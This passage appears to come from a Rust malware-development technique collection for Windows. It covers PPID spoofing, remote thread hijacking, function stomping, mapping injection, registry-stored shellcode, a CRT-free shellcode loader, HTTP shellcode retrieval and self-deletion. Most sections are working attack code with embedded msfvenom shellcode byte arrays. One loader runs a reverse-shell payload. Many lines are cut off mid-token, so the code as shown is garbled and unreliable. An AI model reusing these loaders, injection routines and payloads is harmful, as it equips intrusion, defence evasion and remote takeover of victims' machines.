                println!("[+] Patch ETW Finish!");

                break;
            }
            count -= 1;
        }
    }
}
```

▼ Parsing PE Headers

The code is focused on parsing the PE header of any Windows executable file.

```
use std::{
    env,
    fs::File,
    io::{self, Read},
};
use windows::Win32::System::Diagnostics::Debug::{
    IMAGE_DIRECTORY_ENTRY_BASERELOC, IMAGE_DIRECTORY_ENTRY
    IMAGE_DIRECTORY_ENTRY_IAT, IMAGE_DIRECTORY_ENTRY_IMPOR
    IMAGE_DIRECTORY_ENTRY_TLS, IMAGE_NT_HEADERS64, IMAGE_N
    IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_M
    IMAGE_SECTION_HEADER,
};
use windows::Win32::System::{
    Diagnostics::Debug::IMAGE_NT_OPTIONAL_HDR_MAGIC,
    SystemInformation::IMAGE_FILE_MACHINE_I386,
    SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE
};

fn main() -> io::Result<()> {
    let args: Vec<String> = env::args().collect();
    let pe = &args[1];
```

```
    let mut file = File::open(pe)?;
    let mut buffer = Vec::new();
    file.read_to_end(&mut buffer)?;

    unsafe {
        let dos_header = buffer.as_ptr() as *mut IMAGE_DOS
        if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
            panic!("[!] Invalid IMAGE_DOS_SIGNATURE");
        }

        let nt_header = (dos_header as usize + (*dos_heade
        if (*nt_header).Signature != IMAGE_NT_SIGNATURE {
            panic!("[!] INVALID NT SIGNATURE");
        }

        println!("==================== FILE HEADER =======
        let file_header = (*nt_header).FileHeader;
        println!("[+] (FILE_HEADER) Arch: {}", if file_hea
        println!("[+] Number of sections: {}", file_header
        println!("[+] Size Optional Header: {}\n",file_hea

        println!("==================== OPTIONAL HEADER ===
        let optional_header = (*nt_header).OptionalHeader;
        if optional_header.Magic != IMAGE_NT_OPTIONAL_HDR_
            panic!("[!] Invalid IMAGE_NT_OPTIONAL_HDR_MAGI
        }

        println!("[+] (OPTIONAL_HEADER) Arch: {}", if opti
        println!("[+] Section Size code: {}", optional_hea
        println!("[+] File Checksum: {}", optional_header.
        println!("[+] Required Version: {}.{}", optional_h
        println!("[+] Number of entries in the DataDirecto

        println!("==================== DIRECTORIES =======
        println!(
```

```
            "[+] EXPORT DIRECTORY WITH SIZE: {} | RVA: 0x{
            optional_header.DataDirectory[IMAGE_DIRECTORY_
            optional_header.DataDirectory[IMAGE_DIRECTORY_
        );
        println!(
            "[+] IMPORT DIRECTORY WITH SIZE: {} | RVA: 0x{
            optional_header.DataDirectory[IMAGE_DIRECTORY_
            optional_header.DataDirectory[IMAGE_DIRECTORY_
        );
        println!(
            "[+] RESOURCE DIRECTORY WITH SIZE: {} | RVA: 0
            optional_header.DataDirectory[IMAGE_DIRECTORY_
            optional_header.DataDirectory[IMAGE_DIRECTORY_
        );
        println!(
            "[+] EXCEPTION DIRECTORY WITH SIZE: {} | (RVA:
            optional_header.DataDirectory[IMAGE_DIRECTORY_
            optional_header.DataDirectory[IMAGE_DIRECTORY_
        );
        println!(
            "[+] BASE RELOCATION TABLE WITH SIZE: {} | (RV
            optional_header.DataDirectory[IMAGE_DIRECTORY_
            optional_header.DataDirectory[IMAGE_DIRECTORY_
        );
        println!(
            "[+] TLS DIRECTORY WITH SIZE: {} | (RVA: 0x{:0
            optional_header.DataDirectory[IMAGE_DIRECTORY_
            optional_header.DataDirectory[IMAGE_DIRECTORY_
        );
        println!(
            "[+] IMPORT ADDRESS TABLE WITH SIZE: {} | (RVA
            optional_header.DataDirectory[IMAGE_DIRECTORY_
            optional_header.DataDirectory[IMAGE_DIRECTORY_
        );
        println!("==================== SECTIONS ==========
```

```
        let mut section_header = (nt_header as usize + std

        for _ in 0..file_header.NumberOfSections {
            println!("[#] {}", std::str::from_utf8(&(*sect
            println!("\tSize: {}", (*section_header).SizeO
            println!("\tRVA: 0x{:08X}", (*section_header).
            println!("\tRelocations: {}", (*section_header
            println!("\tAddress: 0x{:016X}", buffer.as_ptr
            println!("\tPermissions: ");
            if (*section_header).Characteristics & IMAGE_S
                println!("\t\tPAGE_READONLY")
            }
            if (*section_header).Characteristics & IMAGE_S
                println!("\t\tPAGE_READWRITE")
            }
            if (*section_header).Characteristics & IMAGE_S
                println!("\t\tPAGE_EXECUTE")
            }
            if (*section_header).Characteristics & IMAGE_S
                && (*section_header).Characteristics & IMA
                println!("\t\tPAGE_EXECUTE_READWRITE")
            }
            section_header = (section_header as usize + st
        }
    }

    Ok(())
}
```

▼ PPID Spoofing

Demonstrating the PPID Spoofing technique.

```
use std::{ffi::c_void, mem::size_of, ptr::null_mut};
use windows::{
```

```
    core::PSTR,
    Win32::{
        Foundation::HANDLE,
        System::{
            Memory::{GetProcessHeap, HeapAlloc, HEAP_ZERO_
            Threading::{
                CreateProcessA, DeleteProcThreadAttributeL
                OpenProcess, UpdateProcThreadAttribute, EX
                LPPROC_THREAD_ATTRIBUTE_LIST, PROCESS_ALL_
                PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, STAR
            },
        },
    },
};

fn main() {
    let mut startup_info = STARTUPINFOEXA::default();
    let mut process_info = PROCESS_INFORMATION::default();
    startup_info.StartupInfo.cb = size_of::<STARTUPINFOEXA
    unsafe {
        let h_parent_process = OpenProcess(PROCESS_ALL_ACC
        let mut attr_size: usize = 0;
        let _ = InitializeProcThreadAttributeList(
            LPPROC_THREAD_ATTRIBUTE_LIST(null_mut()),
            1,
            0,
            &mut attr_size,
        );
        let attr_list = LPPROC_THREAD_ATTRIBUTE_LIST(HeapA
            GetProcessHeap().unwrap(),
            HEAP_ZERO_MEMORY,
            attr_size,
        ));

        let _ = InitializeProcThreadAttributeList(attr_lis
```

```
        let _ = UpdateProcThreadAttribute(
            attr_list,
            0,
            PROC_THREAD_ATTRIBUTE_PARENT_PROCESS as usize,
            Some(&h_parent_process as *const _ as *const c
            size_of::<HANDLE>(),
            None,
            None,
        );

        let windir = std::env::var("WINDIR").unwrap() + "\
        startup_info.lpAttributeList = attr_list;
        let _ = CreateProcessA(
            None,
            PSTR(windir.as_ptr() as _),
            None,
            None,
            false,
            EXTENDED_STARTUPINFO_PRESENT,
            None,
            None,
            &startup_info.StartupInfo,
            &mut process_info,
        );

        DeleteProcThreadAttributeList(attr_list);
    }
}
```

▼ R

▼ Remote Thread Hijacking

It addresses the hijacking of threads in remote system processes to carry out malicious actions.

```
use std::mem::size_of;
use sysinfo::{PidExt, ProcessExt, System, SystemExt};
use windows::Win32::System::{
    Diagnostics::{
        Debug::{GetThreadContext, SetThreadContext, WriteP
        ToolHelp::{
            CreateToolhelp32Snapshot, Thread32First, Threa
        },
    },
    Memory::{
        VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_
        PAGE_PROTECTION_FLAGS, PAGE_READWRITE,
    },
    Threading::{
        OpenProcess, OpenThread, ResumeThread, SuspendThre
        PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
    },
};
use windows::Win32::{Foundation::HANDLE, System::Diagnosti


// https://github.com/microsoft/win32metadata/issues/1044
#[repr(align(16))]
#[derive(Default)]
struct AlignedContext {
    ctx: CONTEXT
}

fn main() -> Result<(), String> {
    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    let shellcode: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x
```

```
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0x
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0x
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
    ];

    println!("[+] Searching for the process handle");
    let process = find_process("notepad.exe")?;

    let hprocess = process.0;
    let pid = process.1;

    println!("[+] Searching for the thread handle");
    let hthread = find_thread(pid)?;

    let address = unsafe {
        VirtualAllocEx(
        hprocess,
        None,
        shellcode.len(),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE,
    )};

    if address.is_null() {
```

```
        return Err("VirtualAllocEx failed".to_string());
    }

    println!("[+] Writing the shellcode");
    let mut return_len = 0;
    unsafe {
        WriteProcessMemory(
            hprocess,
            address,
            shellcode.as_ptr() as _,
            shellcode.len(),
            Some(&mut return_len),
        ).unwrap_or_else(|e| {
            panic!("[!] WriteProcessMemory Failed With Err
        })
    };

    let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
    unsafe {
        VirtualProtectEx(
            hprocess,
            address,
            shellcode.len(),
            PAGE_EXECUTE_READWRITE,
            &mut oldprotect,
        ).unwrap_or_else(|e| {
            panic!("[!] VirtualProtectEx Failed With Error
        })
    };

    let mut ctx_thread = AlignedContext {
        ctx: CONTEXT {
            ContextFlags: CONTEXT_ALL_AMD64,
            ..Default::default()
        }
    };
```

```
    println!("[+] Stopping the thread");
    unsafe { SuspendThread(hthread); }

    println!("[+] Retrieving the thread context");
    unsafe {
        GetThreadContext(hthread, &mut ctx_thread.ctx).unw
            panic!("[!] GetThreadContext Failed With Error
        })
    };

    ctx_thread.ctx.Rip = address as u64;

    println!("[+] Setting the thread context");
    unsafe {
        SetThreadContext(hthread, &ctx_thread.ctx).unwrap_
            panic!("[!] SetThreadContext Failed With Error
        })
    };

    println!("[+] Thread Executed!");
    unsafe { ResumeThread(hthread); }

    unsafe { WaitForSingleObject(hthread, INFINITE); }

    Ok(())
}

fn find_process(name: &str) -> Result<(HANDLE,u32), String
    let mut system = System::new_all();
    system.refresh_all();

    let processes: Vec<_> = system
        .processes()
        .values()
        .filter(|process| process.name().to_lowercase() ==
```

```
        .collect();

    if let Some(process) = processes.into_iter().next() {
        println!("[i] Process with PID found: {}", process
        let hprocess = unsafe { OpenProcess(PROCESS_ALL_AC
        return Ok((hprocess, process.pid().as_u32()));
    }

    Err("Error finding process PID!".to_string())
}

fn find_thread(pid: u32) -> Result<HANDLE, String> {
    let snapshot =  unsafe { CreateToolhelp32Snapshot(TH32
    let mut entry = THREADENTRY32 {
        dwSize: size_of::<THREADENTRY32>() as u32,
        ..Default::default()
    };

    if unsafe { Thread32First(snapshot, &mut entry).is_ok(
        loop {
            if entry.th32OwnerProcessID == pid {
                return unsafe {  OpenThread(THREAD_ALL_ACC
                    .map_err(|_| "Failed to open thread".t
            }

            if unsafe { Thread32Next(snapshot, &mut entry)
                break;
            }
        }
    }
    Err("Thread not found".to_string())
}

// Example of a function to create a thread
// unsafe extern "system" fn function(_param: *mut c_void)
//     let a = 1 + 1;
```

```
//     return a;
// }
```

▼ Remote Function Stomping Injection

It exploits the substitution of functions in remote systems to carry out malicious activities.

```
use std::{
    ffi::c_void,
    mem::transmute,
    ptr::{null, null_mut},
};
use sysinfo::{PidExt, ProcessExt, System, SystemExt};
use windows::{
    core::s,
    Win32::Foundation::HANDLE,
    Win32::System::{
        Diagnostics::Debug::WriteProcessMemory,
        LibraryLoader::{GetProcAddress, LoadLibraryA},
        Memory::{VirtualProtectEx, PAGE_EXECUTE_READWRITE,
        Threading::{
            CreateRemoteThread, OpenProcess, WaitForSingle
        },
    },
};

fn find_process(name: &str) -> Result<HANDLE, String> {
    let mut system = System::new_all();
    system.refresh_all();

    for (pid, process) in system.processes() {
        if process.name() == name {
            let pid = pid.as_u32();
```

```
            let hprocess = unsafe { OpenProcess(PROCESS_AL
            if hprocess.is_err() {
                return Err(String::from(format!(
                    "Failed to open process with PID: {pid
                )));
            } else {
                return Ok(hprocess.unwrap());
            }
        }
    }

    return Err(String::from("Process not found"));
}

fn main() {
    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    let shellcode: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0x
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0x
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
```

```
    ];
    unsafe {
        let hprocess = find_process("Notepad.exe").unwrap_
            panic!("[!] find_process Failed With Error: {e
        });

        let hmodule = LoadLibraryA(s!("user32")).unwrap_or
            panic!("[!] LoadLibraryA Failed With Error: {e
        });

        let func = GetProcAddress(hmodule, s!("MessageBoxA
            panic!("[!] GetProcAddress Failed");
        });

        let func_ptr = transmute::<_, *mut c_void>(func);

        let mut oldprotect = PAGE_PROTECTION_FLAGS(0);
        VirtualProtectEx(
            hprocess,
            func_ptr,
            shellcode.len(),
            PAGE_READWRITE,
            &mut oldprotect,
        ).unwrap_or_else(|e| {
            panic!("[!] VirtualProtectEx (1) Failed With E
        });

        WriteProcessMemory(
            hprocess,
            func_ptr,
            shellcode.as_ptr() as _,
            shellcode.len(),
            None,
        ).unwrap_or_else(|e| {
            panic!("[!] WriteProcessMemory Failed With Err
        });
```

```
        VirtualProtectEx(
            hprocess,
            func_ptr,
            shellcode.len(),
            PAGE_EXECUTE_READWRITE,
            &mut oldprotect,
        ).unwrap_or_else(|e| {
            panic!("[!] VirtualProtectEx (2) Failed With E
        });

        let hthread = CreateRemoteThread(
            hprocess,
            Some(null()),
            0,
            Some(transmute(func_ptr)),
            Some(null()),
            0,
            Some(null_mut()),
        ).unwrap_or_else(|e| {
            panic!("[!] CreateRemoteThread Failed With Err
        });

        WaitForSingleObject(hthread, INFINITE);
    }
}
```

▼ Remote Mapping Injection

Performing malicious code injection via memory mapping into remote processes.

```
use std::{
    mem::transmute,
    ptr::{copy_nonoverlapping, null},
```

```
};
use sysinfo::{PidExt, ProcessExt, System, SystemExt};
use windows::Win32::{
    Foundation::INVALID_HANDLE_VALUE,
    System::Threading::{CreateRemoteThread, OpenProcess, W
    System::{
        Memory::{
            CreateFileMappingA, MapViewOfFile, MapViewOfFi
            FILE_MAP_WRITE, PAGE_EXECUTE_READWRITE,
        },
        Threading::PROCESS_ALL_ACCESS,
    },
};

fn find_process(process_name: &str) -> Result<u32, String>
    let mut system = System::new_all();
    system.refresh_all();

    let processes: Vec<_> = system
        .processes()
        .values()
        .filter(|process| process.name().to_lowercase() ==
        .collect();

    for process in processes {
        println!("[i] {} process with PID found: {}", proc
        return Ok(process.pid().as_u32());
    }

    return Err(String::from("Error finding the PID of the
}

fn main() {
    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    let shellcode: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x
```

```
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0x
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0x
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
    ];

    unsafe {
        println!("[+] Creating a mapping file");

        let pid_process = find_process("notepad.exe").unwr
            panic!("[!] find_process Failed With Error: {e
        });

        let hprocess = OpenProcess(PROCESS_ALL_ACCESS, fal
            panic!("[!] OpenProcess Failed With Error: {e}
        });

        let hfile = CreateFileMappingA(
            INVALID_HANDLE_VALUE,
            None,
            PAGE_EXECUTE_READWRITE,
            0,
```

```
            shellcode.len() as u32,
            None,
        ).unwrap_or_else(|e| {
            panic!("[!] CreateFileMappingA Failed With Err
        });

        println!("[+] Mapping the file object");
        let map_address = MapViewOfFile(
            hfile,
            FILE_MAP_WRITE | FILE_MAP_EXECUTE,
            0,
            0,
            shellcode.len(),
        );

        println!("[+] Copying Shellcode to another process
        copy_nonoverlapping(shellcode.as_ptr() as _, map_a

        let p_map_address = MapViewOfFileNuma2(hfile, hpro

        println!("[+] Running the thread!!");
        let hthread = CreateRemoteThread(
            hprocess,
            Some(null()),
            0,
            transmute(p_map_address.Value),
            Some(null()),
            0,
            None,
        ).unwrap_or_else(|e| {
            panic!("[!] CreateRemoteThread Failed With Err
        });

        WaitForSingleObject(hthread, INFINITE);
```

```
    }
}
```

▼ Registry Shellcode

Writing and reading shellcode to the Windows Registry.

```
use std::ffi::c_void;
use windows::{
    core::s,
    Win32::System::Registry::{
        RegCloseKey, RegGetValueA, RegOpenKeyExA, RegSetVa
        KEY_SET_VALUE, REG_BINARY, REG_VALUE_TYPE, RRF_RT_
    },
};

fn write_registry(buf: &[u8]) {
    unsafe {
        let mut hkey: HKEY = HKEY::default();
        let _status = RegOpenKeyExA(
            HKEY_CURRENT_USER,
            s!("Control Panel"),
            0,
            KEY_SET_VALUE,
            &mut hkey,
        ).unwrap_or_else(|e| {
            panic!("[!] RegOpenKeyExA Failed With Error: {
        });
        // Enter your key name here
        let _hsetvalue = RegSetValueExA(hkey, s!("victorte
            panic!("[!] RegSetValueExA Failed With Error:
        });

        RegCloseKey(hkey);
```

```rust
    }
}

fn read_registry() {
    unsafe {
        let mut data: [u8; 276] = [0; 276]; // Size of you
        let payload = data.as_mut_ptr() as *mut c_void;
        let mut data_size = data.len() as u32;
        let _status = RegGetValueA(
            HKEY_CURRENT_USER,
            s!("Control Panel"),
            s!("victorteste"), // Enter your key name here
            RRF_RT_ANY,
            Some(&mut REG_VALUE_TYPE(0)),
            Some(payload),
            Some(&mut data_size),
        ).unwrap_or_else(|e| {
            panic!("[!] RegGetValueA Failed With Error: {e
        });

        println!("{:?}", data);
    }
}

fn main() {
    // msfvenom -p windows/x64/exec CMD=calc.exe -f rust
    let buf: [u8; 276] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0x
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x
```

```
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0x
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x
        0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x
        0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x
        0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x
        0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
    ];
    write_registry(&buf);
    read_registry();
}
```

▼ Remove CRT

It focuses on removing the CRT (C Runtime Library) from the binary.

▼ export.rs

```
// It may be that at some point, as the code grows and

#[no_mangle]
pub extern "C" fn memset(s: *mut u8, c: i32, n: usize)
    for i in 0..n {
        unsafe { *s.add(i) = c as u8 };
    }
    s
}

#[no_mangle]
pub extern "C" fn memcpy(dest: *mut u8, src: *const u8,
    for i in 0..n {
        unsafe {
```

```
            *dest.add(i) = *src.add(i);
        }
    }
    dest
}

#[no_mangle]
pub extern "C" fn memmove(dest: *mut u8, src: *const u8
    if src < dest as *const u8 {
        for i in (0..n).rev() {
            unsafe {
                *dest.add(i) = *src.add(i);
            }
        }
    } else {
        for i in 0..n {
            unsafe {
                *dest.add(i) = *src.add(i);
            }
        }
    }
    dest
}

#[no_mangle]
pub extern "C" fn memcmp(s1: *const u8, s2: *const u8,
    for i in 0..n {
        let a = unsafe { *s1.add(i) };
        let b = unsafe { *s2.add(i) };
        if a != b {
            return a as i32 - b as i32;
        }
    }
    0
}
```

```rust
#[no_mangle]
pub extern "C" fn strlen(s: *const u8) -> usize {
    let mut count = 0;
    unsafe {
        while *s.add(count) != 0 {
            count += 1;
        }
    }
    count
}

#[export_name = "_fltused"]
static _FLTUSED: i32 = 0;

#[no_mangle]
pub extern "system" fn __CxxFrameHandler3(_: *mut u8, _
```

```rust
#[no_mangle]
pub extern "C" fn __chkstk() {}
```

▼ main.rs

```rust
#![no_std]
#![no_main]

mod export;

use core::{arch::asm, mem::transmute, ptr::null_mut};
use winapi::um::{
    memoryapi::VirtualAlloc,
    winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READW
};

#[no_mangle]
pub extern "C" fn _start() -> ! {
```

```rust
    // msfvenom -p windows/x64/shell_reverse_tcp LHOST=
    let buf: [u8; 460] = [
        0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
        0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b,
        0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48,
        0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
        0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48,
        0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00,
        0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40,
        0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01,
        0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1,
        0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58,
        0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40,
        0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58,
        0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52,
        0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d,
        0x32, 0x00, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6,
        0x49, 0x89, 0xe5, 0x49, 0xbc, 0x02, 0x00, 0x0b,
        0x49, 0x89, 0xe4, 0x4c, 0x89, 0xf1, 0x41, 0xba,
        0x89, 0xea, 0x68, 0x01, 0x01, 0x00, 0x00, 0x59,
        0xd5, 0x50, 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31,
        0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x41, 0xba,
        0x89, 0xc7, 0x6a, 0x10, 0x41, 0x58, 0x4c, 0x89,
        0xa5, 0x74, 0x61, 0xff, 0xd5, 0x48, 0x81, 0xc4,
        0x6d, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41,
        0x57, 0x57, 0x4d, 0x31, 0xc0, 0x6a, 0x0d, 0x59,
        0x24, 0x54, 0x01, 0x01, 0x48, 0x8d, 0x44, 0x24,
        0x56, 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50,
        0xc8, 0x4d, 0x89, 0xc1, 0x4c, 0x89, 0xc1, 0x41,
        0x48, 0x31, 0xd2, 0x48, 0xff, 0xca, 0x8b, 0x0e,
        0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba,
        0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
        0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda,
    ];

    unsafe {
```

```
        let address = VirtualAlloc(
            null_mut(),
            buf.len(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE,
        );

        asm!(
            "mov rdi, {dest}",
            "mov rsi, {src}",
            "mov rcx, {size}",
            "rep movsb",
            dest = inout(reg) address => _,
            src = inout(reg) buf.as_ptr() => _,
            size = inout(reg) buf.len() as usize => _,
        );

        let func: fn() = transmute(address);

        func()
    }

    loop {}
}

#[cfg(not(test))]
#[panic_handler]
fn panic(_info: &core::panic::PanicInfo) -> ! {
    loop {}
}
```

▼ build.rs

```
fn main() {
    if std::env::var("CARGO_CFG_TARGET_OS").unwrap() ==
```

```
        println!("cargo:rustc-link-arg=/ENTRY:_start");
        println!("cargo:rustc-link-arg=/SUBSYSTEM:conso
    }
}
```

▼ Request Shellcode

Retrieving shellcode from HTTP requests using Rust.

```
use reqwest::blocking::Client;

fn main() -> Result<(), reqwest::Error> {
    let client = Client::new();
    let shellcode = client.get("http://127.0.0.1/shell.bin

    println!("{:?}", shellcode);

    Ok(())
}
```

▼ S

▼ Self Deletion

Technique for deleting the running binary.

```
use std::{
    ffi::c_void,
    mem::{size_of, size_of_val},
};
use windows::core::PCWSTR;
use windows::Win32::{
    Storage::FileSystem::{
        FileDispositionInfo, FileRenameInfo, DELETE, FILE_
        FILE_SHARE_READ, OPEN_EXISTING, SYNCHRONIZE,
    },
```

```
    Foundation::CloseHandle,
    Storage::FileSystem::{CreateFileW, SetFileInformationB
    System::Memory::{GetProcessHeap, HeapAlloc, HeapFree,
};

fn main() {
    let stream = ":victor";
    let stream_wide: Vec<u16> = stream.encode_utf16().chai

    unsafe {
        let mut delete_file = FILE_DISPOSITION_INFO::defau
        let lenght = size_of::<FILE_RENAME_INFO>() + (stre
        let rename_info = HeapAlloc(GetProcessHeap().unwra

        delete_file.DeleteFile = true.into();
        (*rename_info).FileNameLength = (stream_wide.len()

        std::ptr::copy_nonoverlapping(
            stream_wide.as_ptr(),
            (*rename_info).FileName.as_mut_ptr(),
